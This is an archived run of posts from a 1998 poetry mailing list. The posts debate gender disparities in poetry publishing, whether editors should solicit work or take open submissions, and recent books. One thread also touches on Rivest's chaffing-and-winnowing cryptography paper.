In the short-term, however, I am faced with a glaring set of disparities that do indeed seem to be based on a gender category--no matter how malleable that category may seem (or how fictional or stultifying...) in the long-run.

***

Also--as to Billy's comment--

Please do not be accusing me of being lazy about my editing--

I've probably solicited 80 percent of what's in my mag--

But it's funny--people ("the audience") get pretty pissed off if they think you are soliciting a lot--

As in--some might say that it is, in fact, lazy to SOLICIT work--

That it is more difficult and more rewarding to have to slog through submissions--

That it is exclusive and smelly of coterie to solicit too large a bulk--

I agree with you that one should go after the work that one wants to present--but I, for one, would like to strike a balance between going for what I already know I like and being open to poetry that is new to me.

Thoughts,
Katy

↑ Index

816. Mark Prejsnar
fascistic rhetorics
Wed 25 Mar 1998

Errr....fascistic??

There are some, uh, pretty worrisome people on this list.

It would appear that the spirit of recent ultra-right attacks on affirmative action, is alive and active and inspiring some of the new people here on the poetix list..

Pretty interesting, I'd say.

↑ Index

817. Elizabeth Hatmaker

Re: women in poetry and in the arts

Wed 25 Mar 1998

I'm likewise a by-stander (mainly because I only get e-mail at work) but have been thinking hard about the issues raised. When I think about how much of my academic energy has been wasted alternately not wanting to piss men off (because they might:

1. Hurt me professionally
2. Do that whole number where you show them your work and they sit there like your dad or something and "help" you along with your little ideas.

3. Tell me my ideas are a bunch of whiney, privledged white feminist bullshit and if I can't "compete" with men (meaning, usually, read the same books they have read) I should just shut up. Or suggest I'm claiming "victim" status--(now that's got to be the worst thing a woman in the 90s can be called)

4. Not want to date me (well, since I'm being confessional here) 5. They'll take some "devil's advocate" stance and argue some mysogynist position (recently a very bright man and I were discussing the whole Clinton mishmash and his position seemed to be that women can think what they want, but bottom line, men need blowjobs and will do whatever it takes to get them) and then when you point that out (like "hey, when did your right to a blowjob become an ethical underpinning of our society") they suggest you've taken it "too personally" and get offended that you thought so badly of them.

and this isn't even having to worry that if you dump a 13 year old boy, he might open fire on you)

and wanting to piss men off, (I have this essay about starting a company called dial a psycho-- where if a guy makes you feel bad and then tells you not to make a scene, you hire an actress to do it for you anonymously. That way you don't get the negative fallout from "making a scene" but you know that he's had to deal with your deferred rage. There's more to it, but that's the core. Is this art? Is it the rantings of a whiney man-hater? I've never submitted it because I've never been sure. Maybe I will.)

I sometimes don't trust myself to say anything. All of it's so real and discursive.

Elizabeth

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818. William Burmeister Prod
Re: women in poetry and in the arts
Wed 25 Mar 1998

On Mar 25, 12:06pm, s. kaipa wrote:
> Subject: Re: women in poetry and in the arts
> On Wed, 25 Mar 1998, George Bowering wrote:
>
> > > And how many men come rolling off the tongue?
> >
> > Oooooh!
>
> I can't remember who said it, but some woman on th list asked if there is
> an intimidation factor in posting to the list. Yes, I do think there is.
> I am usually an observer, but when something catches my eye and I feel
> strongly enough to write about it, I'll overcome that intimidation.
> However, when I receive this kind of jeering response, as a woman it makes
> me feel like I need to stand on the sidelines and shut my trap unless
> what I have to say is 100% brilliant. I'm not sure that the men who post
> to this list with frequency feel that way.
>
>
> Summi
>-- End of excerpt from s. kaipa

Summi, don't let the (us) curmudgeonlies get you down. In answer to the question, yes. Don't go for the brilliant (what's brilliant anymore?), go for the humor -- anything ya like.

William

↑ Index

819. CharSSmith
Re: Sound States
Wed 25 Mar 1998

Thanks to everyone who responded about _Sound States_. I'm looking forward to it. Now that we've blabbed about the materiality of the text, the materiality of type itself (Drucker's _Visible Word_), it's about time someone took a close look at the aural material side of poetry.

ps to Sydney: so did I. HD as well!

--Charles Smith

In a message dated 98-03-25 09:48:40 EST, you write:

<< I thought Hart Crane WAS a radical innovative modernist! S. >>

↑ Index

820. **k. lederer**
Re: submission and dominance
Wed 25 Mar 1998

Rachel--

I've gotten some strange hits off of some of your posts--

1. That what I'm saying has anything to do with "telling" you to have babies? That I'm "dictating" how you should identify yourself?

You didn't have to respond to my post(s)--you don't have to do anything on here. I'm not "dictating" anything...

2. That I think women should be included here or anywhere else as a category of being because "they" as a "species" are smarter? What?

I just feel that if someone feels uncomfortable either giving work to mags or speaking on this list because of how they think they will be perceived vis-a-vis gender, then that's lame. If you feel that your gender doesn't get in your way in this forum, then that's great.

3. That I'm some sort of gushy girly person who cries at the TITANIC. (Rachel and I saw the TITANIC together, so anything she says about that....)--

Yes, I loved the TITANIC! I cried because of the sentimental love story--sure.

I cried because I was faced with an extremely graphic portrayal of 1500 people freezing to death--

I cried because the women and children were separated from their husbands...

What's wrong with crying?

Is there anything inherently wrong with sentimentality? Is there anything inherently gendered about it? Or perhaps I misread your post--

Best,
Katy

↑ Index

821. **Stephen Cope**
Re: Sound States/Funkhouser
Wed 25 Mar 1998

CF's in New Jersey these days (backchannell for address). His interview w/ Cecil Taylor appears in a recent Hambone, and is worth checking out. I'd also recommend (of course) Aldon Nielsen's work on Taylor in BLACK CHANT --

Stephen

ps - apologies for the should-have-been backchannelled post I dropped off earlier...

> *Dear Charles,*
>
> *You might try Chris Funkhauser; he's a friend and bud of Cecil Taylor's. Where ole Chris is, I'm not sure, but SUNY Albany or Don Byrd there might know. Chris, if you're out there somewhere, warm hello from Steve, here. Know this text Charles is looking for? S.*
>
> *CharSSmith wrote:*
>
> *has anyone read or know anything about this book?*
>
> *--Charles Smith*
>
> *Sound States: Innovative Poetics and Acoustical Technologies by Adalaide Kirby Morris, ed., University of North Carolina Press (1998) ISBN-0807846708 360 pages, $24.95.*
> *"At least since the late 1920s some writers have been trying to free writing from the book, from the restrictions of print. This collection of essays explores the aural aspect of poetics, especially focusing on the technologies of sound and the possibilities they provide and provoke. Subjects range from Caribbean dub poetry to the experiments of John Cage and Cecil Taylor. Here's a book to add to that small but vital shelf that illuminates this essential ground--it's a good introduction to the issues and sends you off to the best source material. "*

↑ Index

822. **CharSSmith**
Re: Sound States/Funkhouser
Wed 25 Mar 1998

In a message dated 98-03-25 15:06:55 EST, you write:

<< CF's in New Jersey these days (backchannell for address). His interview w/ Cecil Taylor appears in a recent Hambone, and is worth checking out. >>

as is Chris' interview w/ Nate Mackey. posted @ EPC i believe

--cs

↑ Index

823. **Thomas Bell**
Re: women who do write
Wed 25 Mar 1998

Creating space is an intriguing poetic notion that I'd like to hear more about and would appreciate comments. As a man I feel it is easier for me to create an audience (are these creative terms related?) and I wonder if this is a general gender socialization thing or is it just one of my weirdnesses? You might think that "creating space" is an ego thing and sterotypically masculine but I don't think so. tom bell

At 11:12 AM 3/25/98 -0500, Mark Prejsnar wrote:
>On Tue, 24 Mar 1998, Gwyn McVay wrote:
>
>> forgive the slightly-off-topic-ness, but among the women who do write, I'm
>> glad Mei-mei Berssenbrugge does write--have finally gotten round to her
>> EMPATHY and SPHERICITY, two recent Bridge St. purchases, & read around in
>> each, even while "submitting" my alleged master's thesis to the tender
>> mercies of the Ruler Lady who Measures Margins (Graham Foust will remember
>> her), & her extended ice-floe sequence haunts one something like Notley &
>> creates space something like Lauterbach, while being of course very much
>> Berssenbrugge's own--does that make any sense?
>////
>
>Mark P.
>@lanta
>
>

↑ Index

824. **L.MacMahon and T.R.Healy**

new titles from Wild Honey Press

Wed 25 Mar 1998

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echoing within the diamond
grows to take in snatches
from high stars from elsewhere
the disintegrating actions
of clocks so that eventually
you attend to the infinities
of numbers shattering
the shriek that is the change
of several millions

¥

the red fish leaping from the mouth
up the cold fresh stream
to the empty source
spilling down
through stars and through
the watching courses of stone
until the fixed mesh abstracts
unerringly each hour
with all its clamouring brood
jerking routinely to the tune

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Writing is currency so both titles also available in exchange for some of your own work in any form.

↑ Index

825. **Patrick F. Durgin**

Re: women in poetry and in the arts

Wed 25 Mar 1998

We need to be careful to distinguish between delineating the scope of this list and policing those borders. The comments re: women & their exclusion from verse culture, particularly the small mag.s illustrate a similar tendancy for the list to incite valuable debate then fall into an impotent silence. If one thread to spring off of these debates, such as regards a supposed "female sensibility" in contemporary, innovative poetics were to arise, I'd have to jump in with this: In soliciting over long distance a poet, firstname Michael, whose work I'd seen in Daniel Bouchard's wonderful Mass. Ave. magazine for submissions to my own little mag., Kenning, I found this Michael (Angelo Tata) was apparently a woman, judging by (her) voice on the telephone. In the work I'd seen previously & (her) subsequent submission, I found nothing to truly disambiguate the gender distinction. There was something beautiful in this, as I was then curious to see to what degree the pieces I was reading were "engendered". Let me just add that I'd hate to lose the already scant multiplicity of voices on this list. As much, I'd hate to lose the threads which are more "text" based than "culture" based, however arbitrary this opposition may be. Patrick F. Durgin

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

On Wed, 25 Mar 1998, William Burmeister Prod wrote:

> *On Mar 25, 12:06pm, s. kaipa wrote:*
> *Subject: Re: women in poetry and in the arts*
> *On Wed, 25 Mar 1998, George Bowering wrote:*
>
> *And how many men come rolling off the tongue?*

> *Oooooh!*
>
> *I can't remember who said it, but some woman on th list asked if there is an intimidation factor in posting to the list. Yes, I do think there is. I am usually an observer, but when something catches my eye and I feel strongly enough to write about it, I'll overcome that intimidation. However, when I receive this kind of jeering response, as a woman it makes me feel like I need to stand on the sidelines and shut my trap unless what I have to say is 100% brilliant. I'm not sure that the men who post to this list with frequency feel that way.*
>
> *Summi*
> *-- End of excerpt from s. kaipa*
>
> *Summi, don't let the (us) curmudgeonlies get you down. In answer to the question, yes. Don't go for the brilliant (what's brilliant anymore?), go for the humor -- anything ya like.*
>
> *William*

↑ Index

826. **Keston Sutherland**
Re: fascistic rhetorics
Wed 25 Mar 1998

> *Errr....fascistic??*
>
> *There are some, uh, pretty worrisome people on this list.*

Mark - I think that if this is a responsible rather than an off-hand remark, you ought now to say who you think these people are.

Keston

↑ Index

827. **George Bowering**
Re: women
Wed 25 Mar 1998

> *A little off the topic, but not entirely. Has anyone seen the French movie, Ma vie en rose? It's an excellent film about a 7 year old boy who wants to be a girl and doesn't understand why it's not possible.*

> *Summi*

I have heard that it is a very good movie. Just one point. It is not French. It is Belgian. We folks who live next to big countries like to remind them of this stuff.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

828. George Bowering
Re: stupid and lazy posts
Wed 25 Mar 1998

I'm afraid that I have to agree with Billy Little on this one. I dont see the sense or the committment in sending out a general request to poets to "submit." Read someone's poetry. Figure out what you like. Then ASK that poet to send you something for your magazine or whatever. Be a community, not a market.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

829. George Bowering
Re: women in poetry and in the arts
Wed 25 Mar 1998

> *I'm not sure I understand what this means. Although I appreciate humor and often long for more casual discussion of poetic/political issues. If you mean that I should counter a serious issue that is being discussed in a serious fashion with levity, I'm not sure I think this is a helpful way of dialoguing without being misunderstood.*

> *Summi*

I recognize the places yr coming from. But think of this for a while. Humor is not frivolous. great ernestness is not necessarily serious. Language has a lot of surprises. One of them should be that we do not own it.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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830. Cadaly
Contribution
Wed 25 Mar 1998

It's not a submission, it's a contribution which can be appropriate or not.

Just like the lotto, it's an unfair tax on those who need the money most, but everyone can spend and / or give and / or buy.

In this respect, I respect Denise Duhamel and Lyn Lifshin. Maybe even Joyce Carol Oates, but VERY grudgingly.

Catherine Daly
[redacted]

↑ Index

831. s. kaipa
Re: women in poetry and in the arts
Wed 25 Mar 1998

On Wed, 25 Mar 1998, William Burmeister Prod wrote:

> *Summi, don't let the (us) curmudgeonlies get you down. In answer to the question, yes. Don't go for the brilliant (what's brilliant anymore?), go for the humor -- anything ya like.*

I'm not sure I understand what this means. Although I appreciate humor and often long for more casual discussion of poetic/political issues. If you mean that I should counter a serious issue that is being discussed in a serious fashion with levity, I'm not sure I think this is a helpful way of dialoguing without being misunderstood.

Summi

↑ Index

832. **Cadaly**
Chaffing & Winnowing
Wed 25 Mar 1998

Anybody else see the article on coding/encrypting/scrambling in the New York Times?

The url for the mit paper is
http://theory.lcs.mit.edu/~rivest/chaffing.txt
(NYT printed the tilde above the r)

Mr. Rivest's dad suggested he use "winnowing" as a term. I think part of the innovation is packetizing, then encoding, but not encrypting, the packets (using different codes). But am I sure? Nope.

Encryption is not exportable because it may be a national security risk. The question becomes, "Who holds the keys?" To get around it, one could use encoding, but code is generally not as secure. This particular paper is about adding chaff (or mixed "grains") to "grains" of meaning (the packets) and then passing out ... different winnowing fans to different people (I think).

Regards,
Catherine Daly
[redacted]

↑ Index

833. **Maria Damon**
Re: women in poetry and in the arts
Wed 25 Mar 1998

---

you left out a fifth reason: they might sneer at your ideas and then use them and get credit for them, knowing you lack the credibility (as a woman) to point out the theft and get redress...--md --of course this has happened with women as well.

At 2:03 PM -0500 3/25/98, Elizabeth Hatmaker wrote:
>I'm likewise a by-stander (mainly because I only get e-mail at work) but have
>been thinking hard about the issues raised. When I think about how much of
>my academic energy has been wasted alternately not wanting to piss men off
>(because they might:
>
>1. Hurt me professionally

>2. Do that whole number where you show them your work and they sit there
>like your dad or something and "help" you along with your little ideas.
>
>3. Tell me my ideas are a bunch of whiney, privledged white feminist
>bullshit and if I can't "compete" with men (meaning, usually, read the same
>books they have read) I should just shut up. Or suggest I'm claiming
>"victim" status--(now that's got to be the worst thing a woman in the 90s can
>be called)
>
>4. Not want to date me (well, since I'm being confessional here)
>5. They'll take some "devil's advocate" stance and argue some mysogynist
>position (recently a very bright man and I were discussing the whole Clinton
>mishmash and his position seemed to be that women can think what they
want,
>but bottom line, men need blowjobs and will do whatever it takes to get them)
>and then when you point that out (like "hey, when did your right to a blowjob
>become an ethical underpinning of our society") they suggest you've taken it
>"too personally" and get offended that you thought so badly of them.
>
>and this isn't even having to worry that if you dump a 13 year old boy, he
>might open fire on you)
>
>and wanting to piss men off, (I have this essay about starting a company
>called dial a psycho-- where if a guy makes you feel bad and then tells you
>not to make a scene, you hire an actress to do it for you anonymously. That
>way you don't get the negative fallout from "making a scene" but you know
>that he's had to deal with your deferred rage. There's more to it, but
>that's the core. Is this art? Is it the rantings of a whiney man-hater?
>I've never submitted it because I've never been sure. Maybe I will.)
>
>I sometimes don't trust myself to say anything. All of it's so real and
>discursive.
>
>Elizabeth

↑ Index

834. **Cadaly**
Anecdotal Agoraphobia
Wed 25 Mar 1998

I believe that Dickinson was agoraphobic as well as not socialized for interaction beyond her family. However, her refusal to participate in religious revivals

that swept Amherst further limited her social interaction. Her writing work exacerbated the situation.

I live with a very deliberately macho borderline agoraphobic not socialized for interaction outside family. His participation in the publication process brings on anxiety, the same type as when he goes to, oh, a party. Oddly, the listservs he's on are for geneology.

My junk reading this week has included two books apropos to this e-mail exchange: _Eve Spoke: Human Language and Human Evolution_ and _Sex on the Brain: The Biological Differences Between Men and Women_. I can recommend neither, but I will say that maybe the information these journalists gathered from scientific papers is not meaningful. I.e., is the reason that I am unaccountably good at rotating shapes in space that I got some strange testosterone shot as a little girl? My fiance sure as heck can't pack a trunk worth a darn, but I doubt if he was dropped on his hippocampus (gee, that must hurt) as a child. If the model doesn't fit, don't wear it.

Tom Lux should be berated for a variety of things, but among them for fielding a mostly male Sarah Lawrence softball team in the New York MFA games. Hopefully that's not going on anymore.

Regards,
Catherine Daly
[redacted]

↑ Index

835. **laura and jeff**
Re: perspective re: women
Wed 25 Mar 1998

---

this is crazy. makes me wonder if all of the efforts we have made over the years have only created a bitter struggle for power instead of and move toward equality. how can we move away from power games and actually work toward a more egalitarian society?? i don't know. maybe a move away from the polarized points of male and female, and toward a vision of individuality. i begining to feel my head shake with cynicism. jeff.

>Morning paper front-page news: two boy students open fire into a
>fire-alarm crowd outside a Jonesboro, AR middle school, killing 4 students
>and a teacher, and wounding another 11. All but one of those shot,
>including the 5 fatalities, were women. One of the young shooters had been
>overheard bragging that he was going to "kill everyone who ever broke up
>with me."
>

>It reminds me hideously of the massacre at (what?) university in Canada in
>which the shooter, an engineering student, fired into a class including
>many women, shouting something like "you fucking feminists."
>
>We can't "do" anything about either case except what we already "do":
>write our poems & critical works, teach our students, live our lives in
>our own way--& certainly it seems to have little "to do" with this
>listserv--except to underscore the VITAL IMPORTANCE of continuing to
>promote respect & equity in every direction.
>
>How that has to do with women & poetry & Poetics list, I dunno
>specifically. I did have a gut feeling it bore mention.
>
>Gwyn McVay
>

---

no quotes today...

↑ Index

836. laura and jeff

Re: submission and dominance

Wed 25 Mar 1998

> *3. That I'm some sort of gushy girly person who cries at the TITANIC. (Rachel and I saw the TITANIC together, so anything she says about that....)--*

i happen to posses a penis (and i'm almost six foot, and can bench over 200lbs-- so i'm "manly"), and i balled my eyes out at titanic. for the whole last hour and three hours afterward.
good will hunting made me cry even harder (but not for as long).
the post earlier about the kids and teacher being killed brought tears to my eyes.
point?:
crying is a -human- thing to do. i don't trust anyone who doesn't cry often. esp. poets.
jeff.

---

no quotes today...

↑ Index

837. William Burmeister Prod

Re: women in poetry/arts & chaffing/winnowing

Wed 25 Mar 1998

Sorry, but have to double up because my daily limit it will be met.

Patrick Durgin wrote:

> *We need to be careful to distinguish between delineating the scope of this list and policing those borders. The comments re: women & their exclusion from verse culture, particularly the small mag.s illustrate a similar tendancy for the list to incite valuable debate then fall into an impotent silence.*

Truly the delicate approach is appreciated in yr post, but is somewhat elliptical. I dunno though -- I'm trying to get out of the scope delineating and border policing business as it applies listwise.

> *If one thread to spring off of these debates, such as regards a supposed "female sensibility" in contemporary, innovative poetics were to arise, ...*

The thread I was jumping on was not a thread per se but was a lisle.

> *Let me just add that I'd hate to lose the already scant multiplicity of voices on this list.*

Me too!

>> Summi, don't let the (us) curmudgeonlies get you down. In answer to the
>> question, yes. Don't go for the brilliant (what's brilliant anymore?), go for
>> the humor -- anything ya like.

> *I'm not sure I understand what this means. Although I appreciate humor and often long for more casual discussion of poetic/political issues. If you mean that I should counter a serious issue that is being discussed in a serious fashion with levity, I'm not sure I think this is a helpful way of dialoguing without being misunderstood.*
>
> *Summi*

Probably not. Forget the last part.

Hey, maybe if I committed virtual (list) suicide, then perhaps flowers would grow over my unmarked virtual grave and the birds would begin to sing once again and ... ----------

Cadaly wrote:

> *Anybody else see the article on coding/encrypting/scrambling in the New York Times?*
>
> *The url for the mit paper is*
> *http://theory.lcs.mit.edu/~rivest/chaffing.txt*
> *(NYT printed the tilde above the r)*
>
> *Mr. Rivest's dad suggested he use "winnowing" as a term. I think part of the innovation is packetizing, then encoding, but not encrypting, the packets (using different codes). But am I sure? Nope.*
>
> *Encryption is not exportable because it may be a national security risk. The question becomes, "Who holds the keys?" To get around it, one could use encoding, but code is generally not as secure. This particular paper is about adding chaff (or mixed "grains") to "grains" of meaning (the packets) and then passing out ... different winnowing fans to different people (I think).*

Hi Catherine! Did read the article you posted on. It's an interesting repackaging of older ideas and erstwhile inventions. The authentication Mr. Rivest discusses is certainly real and valid. It is basically very similar to what is already in use when a cellular radio registers with a basestation repeater on powerup. The "chaffing" idea is also similar to something in use in spread spectrum or code division multiple access cellular radios where hundreds of users are simultaneously operating in the same wide bandwidth, but below the radio's noise floor. The maximal length codes that do the actual "spreading" appear random when windowed in time like the chaffing.

It's good to see this happening and being made public knowledge because the whole government interference thing in public crypto stinks. Who holds the keys you ask? The NSA (national security agency) wants to. They have, along with a incumbent president, basically killed (or almost) the use of the DES (data encryption standard) whose key the NSA found to be to damn time consuming to crack (it is encrypted and sent with the message). SO they come up with the "Clipper" encryption (a chip), which has a convenient back door for snooping. Still the safest (ideally) crypto scheme is private key where only two entities, one sender and one receiver, have the key (spy stuff). RSA (public key) is in widespread use on the internet and does have back doors as do all commercially marketed and sold crypto programs.

I don't know if Mr Rivest has the clout and the goods to make this fly. I don't know if he has tested this thing and knows, for example, how much information someone could glean with let's say just a spectrum analyzer. He is up against some very brainy hard-ons in the NSA and they're bored what with no cold war and all with which to busy themselves.

Best,

William Burmeister

↑ Index

838. **Billy Little**
not helpful billy
Wed 25 Mar 1998

---

i certainly didn't mean to call you Katy a lazy editor, if i'm not mistaken i've earlier b/c you a rave about explosive, it's a classic, ought to be on everybody's desk, a model, i was attempting to mock the male editors on this list who i thought were trying to get off easy by saying "they don't submit," they wish they could get their work to publish but they don't go out of their way to ask for my money, the Charles Olson of this generation is Rosemarie Waldrop or Susan Howe, they're braving new territory and it stimulates my little brain. here in Canada Maxine Gadd keeps us on our toes if we backslide, Betsy Warland, Angela Hyruniak, Judith Copithorne ought to be solicited, she's a giant, i'd be happy to coedit a canadian womens issue of xplo, Phyllis Webb, Dion Brand, Lillian Allen, Anne Hebert(will you print french?), Lisa Robertson, Deanna Fergusson, Melissa Wolsak, Catriona Strang, Dorothy Trujillo Lusk, Kate van Dusen, Renee Rodin, Sharon Thesen, Susan Clark, Anne Michaels, Diana Hartog, Nelly McClung, Rhoda Rosenfeld, Nicole Brossard, it's all happening here in the frozen north. i'm a poetry evangelist i think it should be sold as exquisitely as bombs are sold. and Sumi some of us are here in part to learn from women(all others) and if you won't speak will we ever learn? and Elizabeth Hatmaker, a very brave post, if you are as honest in your poems as you are in you post i'd love to see them, and sometimes the wounded will have ears open only for the negative even from their supporters. sorry my expression is imperfect, i'm not dead.

↑ Index

839. **k. lederer**
Re: stupid and lazy posts
Wed 25 Mar 1998

I don't think that accepting submissions necessarily has anything to do with being a "market."

How is someone supposed to "break into" a community?

What if he or she doesn't want to go to readings or parties?

What if he or she lives in an isolated place?

What if he or she is young and sees a "call for submissions" as a first step? Or even a singular step?

I try my best to go to all the readings I can and to get my hands on other journals etc...

But I'm not going to encounter every (esp. emerging) poet I might like. I don't have enough time--and I live in Iowa!

I don't think that either Mark or Billy is "correct" here--I think that both of them have made good points--

Best,
Katy

On Wed, 25 Mar 1998, George Bowering wrote:

> *I'm afraid that I have to agree with Billy Little on this one. I dont see the sense or the committment in sending out a general request to poets to "submit." Read someone's poetry. Figure out what you like. Then ASK that poet to send you something for your magazine or whatever. Be a community, not a market.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

↑ Index

840. **morpheal**
Re: submission and dominance
Wed 25 Mar 1998

> *I applaud Katy for daring to bring up the nasty "g" word (gender) on the List....It sure is threatening to a lot of folks.*
>
> *Quite simply, she's right: there are still huge disparities in the involvement, power, choices and visiblity of men and women in our poetry circles and institutions. (...because those disparities exist in society as inescapeable lines of torsion and inequality...)*

What makes anyone think that such disparities only exist between one gender and the other gender ?

I think disparities tend to be as pervasive as there are differences of characteristics amongst individuals. Any characteristics, of any kind.

Something as taken for granted as whether someone has a long or a rounded face can be the difference, in some circles, between inclusion and exclusion, and between success and failure. Ever hear the phrase that someone "simply did not like the cut of his/her jib", so they shot them down ? It happens all the time, everywhere. It is the commonest kind of event under the sun.

It is that simple.

It has very little to do with gender, except that gender offers certain noteworthy characteristics that are selected or deselected by others, quite beyond the selections they make in their personal intimate relations.

I seem to recall a culture where only bearded men could do poetics.

Every historical culture has expressed some kinds of prohibitions as to who can and who cannot, and they have almost all, without exception, been completely as absurd as that only bearded men can do poetics.

The characteristics favoured tend to change, but even amongst men I have seen fashions of preference as to which men are in and which men are out, of any "in-group". The inner party and the outer party. The inner party is essentially parotted by the outer party. The story is almost invariably one of the included and the outcasts. It is a brahmanic and pariah type of system, even today, coverty if not overtly. The same applies to any other groups. They prefer some characteristics and they do not prefer other characteristics and sometimes they do not consciously think about what they are doing, they simply react. Of course when it is not characteristics pertaining to the person, including physical characteristics, or style of attire, or pitch of voice, or something else of that kind, it can be conformity to the currently in vogue inner party style, attire, manner of presentation and even similarity to their phyiscal features that makes it or breaks it for many others.

What's new ? Nothing.

Morpheal

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841. **morpheal**
Re: Lazy editors
Wed 25 Mar 1998

> *the world needs more passive, lazy editors willing to read what comes straight out of the mailbox with no name attached.*
> *Let them publish a magazine called TAHITI every now and then full*

> *of stuff that just showed up one day while they were lounging around*
> *eating grapes. let them publish good & bad poems right next to each other.*
> *let them be totally lazy people whose only concern is avoiding*
> *typos.*
> *let them lie about giving away their mag directly from their hammocks.*
> *let them be so lazy that they don't even provide URLs or CDs - you have*
> *to read the damn stuff out loud yourself!! holding the magazine in your*
> *bare, sunbrowned hands, wind blowing through the palm trees, coconuts*
> *plopping gently around your towel, the waves hissing on the snore...*
>
> *zzzzzzzz.*

In totalitarian and totalist states editors are censors.

In other countries editors are..... (fill in the blank).

Morpheal

↑ Index

842. **Karen Kelley**

Re: women in poetry and in the arts

Wed 25 Mar 1998

Elizabeth Hatmaker wrote:
>
> I'm likewise a by-stander (mainly because I only get e-mail at work) but have
> been thinking hard about the issues raised. When I think about how much of
> my academic energy has been wasted alternately not wanting to piss men off
> (because they might:
>
> 1. Hurt me professionally
> 2. Do that whole number where you show them your work and they sit there
> like your dad or something and "help" you along with your little ideas.
>
> 3. Tell me my ideas are a bunch of whiney, privledged white feminist
> bullshit and if I can't "compete" with men (meaning, usually, read the same
> books they have read) I should just shut up. Or suggest I'm claiming
> "victim" status--(now that's got to be the worst thing a woman in the 90s can
> be called)
>
> 4. Not want to date me (well, since I'm being confessional here)
> 5. They'll take some "devil's advocate" stance and argue some mysogynist
> position (recently a very bright man and I were discussing the whole Clinton
> mishmash and his position seemed to be that women can think what they
want,

> but bottom line, men need blowjobs and will do whatever it takes to get them)
> and then when you point that out (like "hey, when did your right to a blowjob
> become an ethical underpinning of our society") they suggest you've taken it
> "too personally" and get offended that you thought so badly of them.
>
> and this isn't even having to worry that if you dump a 13 year old boy, he
> might open fire on you)
>
> and wanting to piss men off, (I have this essay about starting a company
> called dial a psycho-- where if a guy makes you feel bad and then tells you
> not to make a scene, you hire an actress to do it for you anonymously. That
> way you don't get the negative fallout from "making a scene" but you know
> that he's had to deal with your deferred rage. There's more to it, but
> that's the core. Is this art? Is it the rantings of a whiney man-hater?
> I've never submitted it because I've never been sure. Maybe I will.)
>
> I sometimes don't trust myself to say anything. All of it's so real and
> discursive.
>
> Elizabeth

These are excellent points: they remind me of that awkward situation when a man asks to see your poetry & in response shows you his (this sounds weird already), and you're supposed to love his, preferably better than your own, and admire him for his intellect and sensitivity, with which you will fall in love. But you don't, so soon he's calling you at 2 a.m. drunk and ranting about Cleanth Brooks & how you have to see the light, you bitch. Next morning your windshield is smashed & your tires slashed.

Don't you just hate when that happens?

Karen

↑ Index

843. **r. drake**
Re: stupid and lazy posts
Wed 25 Mar 1998

---

george, billy et al--

but wouldnt that mean that you'd only consider work from poets who had already published? closed systems such as that have led to th demise of several (celebate, but otherwise virtuous) religious communities over th years... but praps that's what we shd aim for...

lbd

> *I'm afraid that I have to agree with Billy Little on this one. I dont see the sense or the committment in sending out a general request to poets to "submit." Read someone's poetry. Figure out what you like. Then ASK that poet to send you something for your magazine or whatever. Be a community, not a market.*
>
> *George Bowering.*

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844. **morpheal**
Re: stupid and lazy posts
Wed 25 Mar 1998

> *george, billy et al--*
>
> *but wouldnt that mean that you'd only consider work from poets who had already published? closed systems such as that have led to th demise of several (celebate, but otherwise virtuous) religious communities over th years... but praps that's what we shd aim for...*
>
> *lbd*

And I was beginning to think that perhaps it is the company... of gods...who ultimately controls who is published and who is not.

[pagan] Morpheal

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845. **Henry Gould**
Re: stupid and lazy posts
Wed 25 Mar 1998

Poets really love marvy editors. Editors who really read a lot of stuff out there & know what they like & really cutting edge and cool. Who have money & confidence & a plan & connections & know how to network. So if you're one of those editors, it's time for you to check out THE PUBLISHER'S PUB ONLINE. Sponsored by Left Overbie University and featuring the latest all-sensory gadgetry, this URL is totally FREE with membership. No special downloading necessary - just put your Editor's Mug (10 litres or more preferably) in front of your screen, and watch the submissions pour down from NETWORKED POETS - TOP POETS - TOTALLY CHARISMATIC AUTHORS - AND SWELL PEOPLE. No need to make those drippy phone calls anymore - no pleading - the submissions are

yours - no questions asked! Because the "PUB" is INSIDE DOPE - based in London-Beijing-Vancouver-Rio de Janeiro. Need we say more? Distributed by Bigpubdistribnameshowcoolpowerfulheadtrips, Inc. - we reach the CENTERS OF METROPOLITAN GELATO. Search no more, editors! Just "click" on the small dot [period] below!!

*

bye now!!

-019-034895J-POJ;LKL.CV.,M0429580-457[PKJ

whoops - sorry - that was Harvey Haggis Gyiurl again, trying to interpose one of his "sonnets" [sigh] - won't happen again...

10-913QIRHKJB93845...

- damn! - sorry - a few bugs yet in the program... Louise Bird? Do we know you? Have you read SQUIRREL VILLANELLES by Rimroddlla Squizd? can you fill out this questionnaire please & return with three hundred thousand letters of recrimination before Friday? thanks...

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846. Kenneth Goldsmith
Real Audio Services Needed
Wed 25 Mar 1998

+ + + +

Guillaume Apollinaire
Jaap Blonk
William S. Burroughs
John Cage
Henri Chopin
Jean Cocteau
Andrew Dickinson
Kelli Dipple
Marcel Duchamp
Brion Gysin
Wyndham Lewis
Jackson Mac Low
Charles Manson
F.T. Marinetti
David Moss
John Reeves
John Reeves & John Bone
Kurt Schwitters
Cecil Taylor
Gregory Whitehead

+ +

U B U W E B : VISUAL, CONCRETE, & SOUND POETRY
http://www.ubu.com

+ +

↑ Index

847. **michael corbin**
Re: federalist ten
Thu 26 Mar 1998

Billy Little wrote:

> *sorry my expression is imperfect, i'm not dead.*

surprising only that 'gender' is the proximate inflection of exclusion.

in this 'open' space.

lurkers unite

or vote in other plebeecites

hear me roar

civic-li(f)e

avante-apartheid

guard

Oh Su-sa-na/Oh don't you cry for me/ for I come from al-abamy/with a banjo on my knee.

mc

↑ Index

848. **Mark Weiss**
Re: submission and dominance
Thu 26 Mar 1998

> *i happen to posses a penis (and i'm almost six foot, and can bench over 200lbs-- so i'm "manly"), and i balled my eyes out at titanic. for the whole last hour and three hours afterward.*

At the risk of levity, balling for four hours during and after a tear-jerker strikes me as stereotypical male behavior, including the exaggeration. Don't know what your partner's excuse is.

Sometimes spelling counts.

↑ Index

849. **Maz881**
New Booklet
Thu 26 Mar 1998

Dear Poetics List,

